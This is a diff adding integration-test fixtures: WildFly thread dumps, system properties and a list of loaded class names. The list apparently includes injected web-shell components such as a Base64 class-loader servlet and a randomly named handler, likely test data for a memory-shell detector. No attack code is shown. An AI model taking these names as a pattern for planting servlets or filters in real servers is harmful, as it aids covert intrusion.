org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"DeploymentScanner-threads - 2" #66 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c2d85c3 + java.lang.Thread.State: WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 56" #84 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 59" #89 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 63" #93 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-11" #119 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"MSC service thread 1-6" #21 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 70" #100 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 8" #33 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-1" #109 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 11" #36 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 77" #107 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 19" #44 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 69" #99 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-13" #121 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"ServerService Thread Pool -- 83" #152 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Timer-0" #108 [WAITING] on java.util.TaskQueue@7c038840 + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.Object.wait(Object.java:328) + at java.base@11.0.8/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.8/java.util.TimerThread.run(Timer.java:506) + +"ServerService Thread Pool -- 12" #37 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 38" #63 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 73" #103 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-3" #111 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 81" #150 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Timer-1" #136 [WAITING] on java.util.TaskQueue@7437f385 + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.Object.wait(Object.java:328) + at java.base@11.0.8/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.8/java.util.TimerThread.run(Timer.java:506) + +"ServerService Thread Pool -- 28" #53 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"IdleRemover" #132 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@33e64 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2211) + at org.jboss.ironjacamar.impl@1.4.27.Final//org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 1" #26 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@768e1e24 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 4" #29 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 5" #30 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 54" #81 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 84" #149 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 64" #94 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 75" #105 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default task-3" #157 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@a2d7390 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at org.jboss.xnio@3.8.4.Final//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1280) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 10" #35 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 44" #71 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 33" #58 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 34" #59 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.security.handlers.AuthenticationMechanismsHandler +io.undertow.security.handlers.NotificationReceiverHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ContextClassLoaderSetupAction$1 +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1 +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.RedirectDirHandler +io.undertow.servlet.handlers.SendErrorPageHandler +io.undertow.servlet.handlers.ServletChain$1 +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.ServletInitialHandler$2 +io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +io.undertow.servlet.spec.ServletPrintWriter +io.undertow.servlet.spec.ServletPrintWriterDelegate +org.apache.commons.XgJbZ.ErrorHandler +org.jboss.as.clustering.context.ContextReferenceExecutor +org.jboss.as.clustering.context.ContextualExecutor$1 +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.threads.ContextClassLoaderSavingRunnable +org.jboss.threads.EnhancedQueueExecutor +org.jboss.threads.EnhancedQueueExecutor$ThreadBody +org.jboss.threads.JBossThread +org.wildfly.common.ref.References$ReaperThread +org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$1177/0x0000000840c49040 +org.wildfly.extension.undertow.security.SecurityContextAssociationHandler +org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction +org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction$$Lambda$1176/0x0000000840c4c440 +org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler +org.xnio.XnioWorker$WorkerThreadFactory$1$1 +org.xnio.nio.WorkerThread diff --git a/integration-test/src/test/resources/infos/Wildfly30ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Wildfly30ContainerTestBasicInfo.txt new file mode 100644 index 00000000..dd8b0fc2 --- /dev/null +++ b/integration-test/src/test/resources/infos/Wildfly30ContainerTestBasicInfo.txt @@ -0,0 +1,1321 @@ +# Generated At 2025-08-10 15:06:32 +SystemProps: +[Standalone]: +java.specification.version: 17 +logging.configuration: file:/opt/jboss/wildfly/standalone/configuration/logging.properties +sun.jnu.encoding: UTF-8 +java.class.path: /opt/jboss/wildfly/jboss-modules.jar +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.wildfly.security.authz.jacc.ElytronPolicyConfigurationFactory +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +org.jboss.resolver.warning: true +java.vendor.url: https://adoptium.net/ +user.timezone: UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /opt/jboss/wildfly/jboss-modules.jar -mp /opt/jboss/wildfly/modules org.jboss.as.standalone -Djboss.home.dir=/opt/jboss/wildfly -Djboss.server.base.dir=/opt/jboss/wildfly/standalone -b 0.0.0.0 +jdk.debug: release +sun.cpu.endian: little +jboss.server.config.dir: /opt/jboss/wildfly/standalone/configuration +user.home: /opt/jboss +user.language: en +java.specification.vendor: Oracle Corporation +jboss.qualified.host.name: 81211c632385 +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces +java.version.date: 2023-10-17 +java.home: /opt/java/openjdk +file.separator: / +jboss.server.persist.config: true +java.vm.compressedOopsMode: 32-bit +line.separator: + +jboss.server.data.dir: /opt/jboss/wildfly/standalone/data +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +jboss.server.base.dir: /opt/jboss/wildfly/standalone +java.awt.headless: true +org.apache.xml.security.ignoreLineBreaks: true +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.security.manager: allow +java.runtime.version: 17.0.9+9 +java.net.preferIPv4Stack: true +user.name: jboss +jboss.home.dir: /opt/jboss/wildfly +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +sun.nio.ch.bugLevel: +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.9+9 +jdk.serialFilter: maxbytes=10485760;maxdepth=128;maxarray=100000;maxrefs=300000 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jboss.server.log.dir: /opt/jboss/wildfly/standalone/log +java.io.tmpdir: /tmp +org.jboss.boot.log.file: /opt/jboss/wildfly/standalone/log/server.log +jboss.modules.system.pkgs: org.jboss.byteman +java.version: 17.0.9 +user.dir: /opt/jboss +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +jboss.bind.address: 0.0.0.0 +jboss.host.name: 81211c632385 +native.encoding: UTF-8 +java.util.logging.manager: org.jboss.logmanager.LogManager +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +module.path: /opt/jboss/wildfly/modules +jboss.server.name: 81211c632385 +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.9+9 +sun.io.unicode.encoding: UnicodeLittle +jboss.server.temp.dir: /opt/jboss/wildfly/standalone/tmp +jboss.node.name: 81211c632385 +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"ServerService Thread Pool -- 9" #35 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native 